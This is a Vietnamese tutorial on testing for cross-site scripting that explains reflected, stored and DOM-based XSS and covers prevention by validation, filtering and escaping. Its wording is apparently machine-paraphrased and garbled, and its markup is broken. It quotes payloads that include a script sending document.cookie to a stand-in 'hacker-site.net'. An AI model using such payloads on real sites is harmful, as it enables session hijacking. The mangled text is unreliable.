Cross Site Scripting (XSS) là một trong những tiến công phổ cập và dễ bị tiến công nhất mà tất cả những Tester có kinh nghiệm đều nghe biết. Nó được xem như là một trong những tiến công nguy hiểm nhất so với những ứng dụng web và hoàn toàn có thể mang lại những hậu quả nghiêm trọng. Trình làng về tiến công XSS Tiến công XSS là một đoạn mã độc, để khái thác một lỗ hổng XSS, hacker sẽ chèn mã độc trải qua những đoạn script để thực thi chúng ở phía Client. Thường thì, những cuộc tiến công XSS được tận dụng để vượt qua truy vấn và mạo danh người tiêu dùng.
Mục tiêu chính của cuộc tiến công này là đánh cắp tài liệu nhận dạng của người tiêu dùng như: cookies, session tokens và những thông tin khác. Trong hồ hết những trường hợp, cuộc tiến công này đang rất được tận dụng để đánh cắp cookie của người khác. Như mọi người biết, cookie giúp Cửa Hàng chúng tôi đăng nhập tự động hóa. Do đó với cookie bị đánh cắp, Cửa Hàng chúng tôi hoàn toàn có thể đăng nhập bằng những thông tin nhận dạng khác. Và đó là một trong những lý do, vì sao cuộc tiến công này được xem như là một trong những cuộc tiến công nguy hiểm nhất.
Tiến công XSS đang rất được triển khai ở phía client. Nó hoàn toàn có thể được triển khai với những từ ngữ lập trình phía client không giống nhau. Tuy nhiên, thường xuyên nhất cuộc tiến công này được triển khai với Javascript và HTML.
Tiến công Cross Site Scripting tức thị gửi và chèn lệnh và script ô nhiễm và độc hại, những mã độc này thường được viết với từ ngữ lập trình phía client như Javascript, HTML, VBScript, Flash… Tuy nhiên, cách tiến công này thường thì tận dụng Javascript và HTML. Cách tiến công này hoàn toàn có thể được triển khai theo rất nhiều cách thức không giống nhau, tùy thuộc vào loại tiến công XSS, những mã độc hoàn toàn có thể được phản chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở tài liệu và được chạy mọi khi người tiêu dùng gọi tác dụng thích hợp. Nguyên nhân chính của loại tiến công này là xác thực nguồn vào tài liệu người tiêu dùng không thích hợp, tài liệu ô nhiễm và độc hại từ trên đầu vào hoàn toàn có thể xâm nhập vào tài liệu đầu ra. Mã độc hoàn toàn có thể nhập một script và được chèn vào mã nguồn của website. Lúc đó trình duyệt không thể biết mã thực thi có phải ô nhiễm và độc hại hay là không. Do đó mã ô nhiễm và độc hại hoàn toàn có thể đang rất được thực thi trên trình duyệt của nạn nhận hoặc ngẫu nhiên hình thức giả nào đang rất được hiển thị cho tất cả những người tận dụng. Có một trong những hình thức tiến công XSS hoàn toàn có thể xẩy ra. Dưới là những hình thức tiến công chính của Cross Site Scripting:
- Cross Site Scripting hoàn toàn có thể xẩy ra trên tập lệnh ô nhiễm và độc hại được triển khai ở phía client.
- Website hoặc form hàng fake được hiển thị cho tất cả những người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết ô nhiễm và độc hại).
- Trên những website có quảng cáo được hiển thị.
- E-Mail ô nhiễm và độc hại được gửi đến nạn nhân. Tiến công xẩy ra khi tin tặc tìm kiếm những lỗ hổng trên website và gửi nó làm nguồn vào ô nhiễm và độc hại. Tập lệnh ô nhiễm và độc hại được tiêm vào mã lệnh và tiếp theo được gửi dưới dạng đầu ra cho tất cả những người dùng sau cuối.
Mọi người hãy phân tích một ví dụ đơn giản và giản dị về sau: Tưởng tượng mọi người có một website với trường Tìm kiếm.
Nếu trường Tìm kiếm là trường có lỗ hổng, khi người tiêu dùng nhập ngẫu nhiên đoạn script thì nó sẽ tiến hành thực thi.
Ví dụ 1: người tiêu dùng nhập đoạn script đơn giản và giản dị như sau:
Lúc đó sau thời điểm nhấn nút “Tìm kiếm”, script được nhập sẽ tiến hành triển khai.
Như mọi người thấy trong Ví dụ, script đã nhập vào trường Tìm kiếm được thực thi. Điều này chỉ cho thấy lỗ hổng của cuộc tiến công XSS. Tuy nhiên, một tập lệnh rất có hại cho sức khỏe hơn cũng hoàn toàn có thể được nhập. Nhiều Tester phối hợp tiến công Cross Site Scripting với Javascript Injection, cũng đang rất được triển khai ở phía client. Trong cả hai, những script tiến công ô nhiễm và độc hại đang rất được tiêm. Tuy nhiên, trong trường hợp tiến công XSS, những thẻ <scriptandgt; không quan trọng để thực thi script.
Ví dụ 2: Hãy xem xét rằng trong trường review nếu hacker nhập đoạn code sau:
<scriptandgt;destroyWebsite();</scriptandgt;
Tiếp sau đó, hàm destroyWebsite() sẽ tiến hành gọi và nó sẽ triển khai những hành vi rất có hại cho sức khỏe của nó. Như hồ hết mọi người biết, cuộc tiến công này thiết yếu được tận dụng để tích lũy cookie của người khác, hoàn toàn có thể được tận dụng để đăng nhập bằng những tính danh khác. Hãy để Cửa Hàng chúng tôi phân tích một ví dụ khác về kịch bạn dạng XSS hoàn toàn có thể có với hành vi trộm cắp cookie hoàn toàn có thể xẩy ra.
Ví dụ 3: trải qua lỗ hổng của website, tin tặc sẽ tiêm mã thích hợp.
**<script type=”text/javascript”>
Var test=’../example.php?cookie_data=’+escape(docuent.cookie);
</scriptandgt;**
Như đã thấy trong Ví dụ trên, cookie bị mất và được gửi tới biến ‘cookie_data’ của tập lệnh mẫu example.php. Nếu hacker sẽ chèn tập lệnh này vào mã của website, thì mã sẽ tiến hành thực thi trong trình duyệt của người tiêu dùng và cookie sẽ tiến hành gửi tới hacker.
Có 3 loại tiến công XSS chính như sau:
1. Reflected XSS
Có nhiều hướng để khai thác trải qua lỗi Reflected XSS, một trong những cách được nghe biết nhiều nhất là chiếm phiên thao tác (session) của người tiêu dùng, từ đó hoàn toàn có thể truy vấn được tài liệu và thu được quyền của họ trên website. Cụ thể được mô tả qua những bước sau:
- Người tiêu dùng đăng nhập web và giả sử được gán session:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
- Bằng phương pháp nào đó, hacker gửi được cho tất cả những người dùng URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2Bdocument.cookie;
Giả sử example.com là website nạn nhân truy vấn, hacker-site.net là trang của hacker tiết ra
-
Nạn nhân truy vấn đến URL trên
-
Server phản hồi cho nạn nhân, kèm với tài liệu có trong request (đoạn javascript của hacker)
-
Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
-
Đoạn javascript mà hacker tiết ra thực tiễn như sau:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Dòng lệnh trên thực chất triển khai request đến site của hacker với thông số là cookie người tiêu dùng:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
Host: hacker-site.net
- Từ phía site của tôi, hacker sẽ bắt được nội dung request trên và coi như session của người tiêu dùng sẽ bị chiếm. Tới lúc này, hacker hoàn toàn có thể hàng fake với tư cách nạn nhân và triển khai mọi quyền trên website mà nạn nhân có.
2. Stored XSS:
Khác với Reflected tiến công trực tiếp vào một trong những nạn nhân mà hacker nhắm đến, Stored XSS hướng về nhiều nạn nhân hơn. Lỗi này xẩy ra khi ứng dụng web không kiểm tra kỹ những tài liệu nguồn vào trước lúc lưu vào cơ sở tài liệu (ở đây tôi dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm mục tiêu lưu trữ tài liệu của ứng dụng web). Ví dụ như những form góp ý, những comment … trên những website. Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải triển khai tối thiểu qua 2 bước.
Trước tiên hacker sẽ trải qua những điểm nguồn vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL những đoạn mã nguy hiểm.
Tiếp theo, khi người tiêu dùng truy vấn vào ứng dụng web và triển khai những thao tác liên quan đến tài liệu được lưu này, đoạn mã của hacker sẽ tiến hành thực thi trên trình duyệt người tiêu dùng.
Kịch bạn dạng khai thác:
Reflected XSS và Stored XSS có 2 sự khác lạ lớn trong quy trình tiến công.
-
Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy vấn vào URL của tôi. Còn Stored XSS không càng phải triển khai việc này, sau thời điểm chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động hóa truy vấn vào. Với nạn nhân, việc này là trọn vẹn thông thường vì họ không hề hay biết tài liệu mình truy vấn đã biết thành nhiễm độc.
-
Thứ hai, tiềm năng của hacker sẽ đơn giản và dễ dàng đạt được hơn nếu tại thời khắc tiến công nạn nhân vẫn trong phiên thao tác(session) của ứng dụng web. Với Reflected XSS, hacker hoàn toàn có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy vấn đến URL mà hắn ta hỗ trợ để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất kể khi nào người tiêu dùng truy vấn những tác dụng liên quan thì mã độc sẽ tiến hành thực thi, và nhiều kĩ năng là những tác dụng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời hạn này người tiêu dùng vẫn đang trong phiên thao tác.
Từ những điều này hoàn toàn có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng người tiêu dùng bị tác động có thế là toàn bộ nhưng người tiêu dùng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn tồn tại nguy cơ tiềm ẩn bị chiếm quyền tinh chỉnh và điều khiển web.
3. DOM Based XSS
DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, ví dụ là HTML. Mọi người cùng xem xét một ví dụ ví dụ sau.
Một website có URL đến trang đăng ký như sau:
http://example.com/register.php?message=Please fill in the form
Khi truy vấn đến thì mọi người thấy một Form rất thông thường
Thay vì truyền
message=Please fill in the form
thì truyền
message=<labelandgt;Genderandlt;/labelandgt;
<scriptandgt;function show(){alert();}</scriptandgt;
Khi đấy form đăng ký sẽ trở thành như vậy này:
Người tiêu dùng sẽ chẳng chút nghi ngờ với một form “thông thường” như vậy này, và khi lựa chọn nam nữ, Script sẽ tiến hành thực thi
Kịch bạn dạng khai thác:
Trước tiên, để kiểm thử tiến công XSS, kiểm thử hộp đen hoàn toàn có thể được triển khai. Nó tức là, mọi người hoàn toàn có thể test mà không cần xem xét code. Tuy nhiên, xem xét code vẫn là một việc nên làm và nó mang lại thành phẩm đáng tin cậy.
Trong những lúc chính thức kiểm thử, Tester nên xem xét phần nào của website là hoàn toàn có thể bị tiến công XSS. Tốt hơn là liệt kê chúng trong tài liệu kiểm thử và bằng phương pháp này, đảm bảo mọi người sẽ không biến thành bỏ xót. Tiếp sau đó, tester nên lập kế hoạch cho những script nào phải được kiểm tra. Điều quan trọng là, thành phẩm có ý nghĩa gì, ứng dụng đó là dễ bị lỗ hổng và cần phải phân tích những thành phẩm một kiểu kỹ lưỡng. Trong những lúc kiểm thử những cuộc tiến công hoàn toàn có thể, điều quan trọng là kiểm tra xem nó đang rất được thỏa mãn nhu cầu ra sao với những kịch bạn dạng đã nhập và những kịch bạn dạng đó đã đoạt thực thi hay là không vv.
Ví dụ, tester hoàn toàn có thể thử nhập trên trình duyệt đoạn script sau:
<scriptandgt;alert(document.cookie)</scriptandgt;
Nếu script được triển khai, thì có một kĩ năng rất rộng, rằng XSS là hoàn toàn có thể. Ngoài ra, trong những lúc kiểm thử thủ công để hoàn toàn có thể tiến công Cross Site Scripting, điều quan trọng lưu ý là những dấu ngoặc được mã hóa cũng nên được thử.
Tuy nhiên loại tiến công này được xem như là một trong những loại nguy hiểm và rủi ro nhất, nhưng vẫn nên sẵn sàng một kế hoạch ngăn ngừa. Chính vì sự phổ cập của cuộc tiến công này, có không ít phương pháp để ngăn chặn nó.
Những phương pháp phòng ngừa chính được tận dụng phổ cập bao gồm tất cả:
- Data validation
- Filtering
- Escaping
Bước trước tiên trong công việc phòng chống tiến công này là Xác thực nguồn vào. Mọi thứ, được nhập bởi người tiêu dùng phải được xác thực đúng chuẩn, cũng chính vì nguồn vào của người tiêu dùng hoàn toàn có thể tìm đường đến đầu ra. Xác thực tài liệu hoàn toàn có thể được đặt tên làm cơ sở để khỏe mạnh tính bảo mật thông tin của khối hệ thống. Tôi sẽ nhắc nhở rằng ý tưởng xác thực không được chấp nhận nguồn vào không thích hợp. Vì vậy nó chỉ làm giảm thiểu rủi ro, nhưng hoàn toàn có thể không đủ để ngăn chặn lỗ hổng XSS hoàn toàn có thể xẩy ra.
Một phương pháp ngăn chặn tốt khác là lọc nguồn vào của người tiêu dùng. Ý tưởng lọc là tìm kiếm những từ khóa nguy hiểm trong mục nhập của người tiêu dùng và xóa chúng hoặc thay thế chúng bằng những chuỗi trống. Những từ khóa đó hoàn toàn có thể là:
Thẻ <scriptandgt; </ scriptandgt;
Lệnh Javascript
Khắc ghi HTML
Lọc nguồn vào khá dễ thực hiện. Nó hoàn toàn có thể được triển khai theo rất nhiều cách thức không giống nhau. Như:
Bởi những developers đã viết mã phía server.
Thư viện từ ngữ lập trình thích hợp đang rất được tận dụng.
Trong trường hợp này, một trong những developer viết mã riêng của họ để tìm kiếm những từ khóa thích hợp và xóa chúng. Tuy nhiên, cách đơn giản và dễ dàng hơn là chọn thư viện từ ngữ lập trình thích hợp để lọc nguồn vào của người tiêu dùng. Tôi muốn lưu ý rằng việc tận dụng thư viện là một kiểu đáng tin cậy hơn, vì những thư viện này đã được nhiều nhà phát triển tận dụng và thử nghiệm.
Một phương pháp phòng ngừa khác hoàn toàn có thể là ký tự Escape. Trong thực tiễn này, những ký tự thích hợp đang rất được thay đổi bằng những mã quan trọng đặc biệt.
Ví dụ: <ký tự Escape hoàn toàn có thể tựa như & # 60. Điều quan trọng cần phải biết là mọi người hoàn toàn có thể tìm thấy những thư viện thích phù hợp với ký tự escape.
Trong lúc này, việc kiểm thử tốt cũng không nên quên điều đó. Mọi người có nhu cầu các kiểm thử ứng dụng có tri thức tốt và những phương tiện kiểm thử ứng dụng đáng tin cậy. Bằng phương pháp này, unique ứng dụng sẽ tiến hành đảm bảo tốt hơn.
Trong những lúc triển khai kiểm thử, Tester nên reviews những rủi ro mang lại từ những cuộc tiến công XSS hoàn toàn có thể xẩy ra. Tiến công XSS hoàn toàn có thể tác động đến những ứng dụng web, nó được xem như là một trong những cuộc tiến công nguy hiểm và nguy hiểm nhất. Do đó, mọi người không nên quên kiểm thử tiến công XSS này.
Trong những lúc triển khai kiểm thử so với XSS, điều quan trọng là phải có tri thức tốt về tiến công XSS. Và đó là cơ sở để phân tích thành phẩm kiểm thử một kiểu đúng chuẩn và chọn những phương tiện kiểm tra thích hợp. Qua nội dung bài viết, kỳ vọng những chúng ta có thể nắm rõ hơn về vai trò của kiểm thử tiến công XSS và phương pháp để triển khai kiểm thử nó hiệu suất cao hơn.
Nguồn: https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/
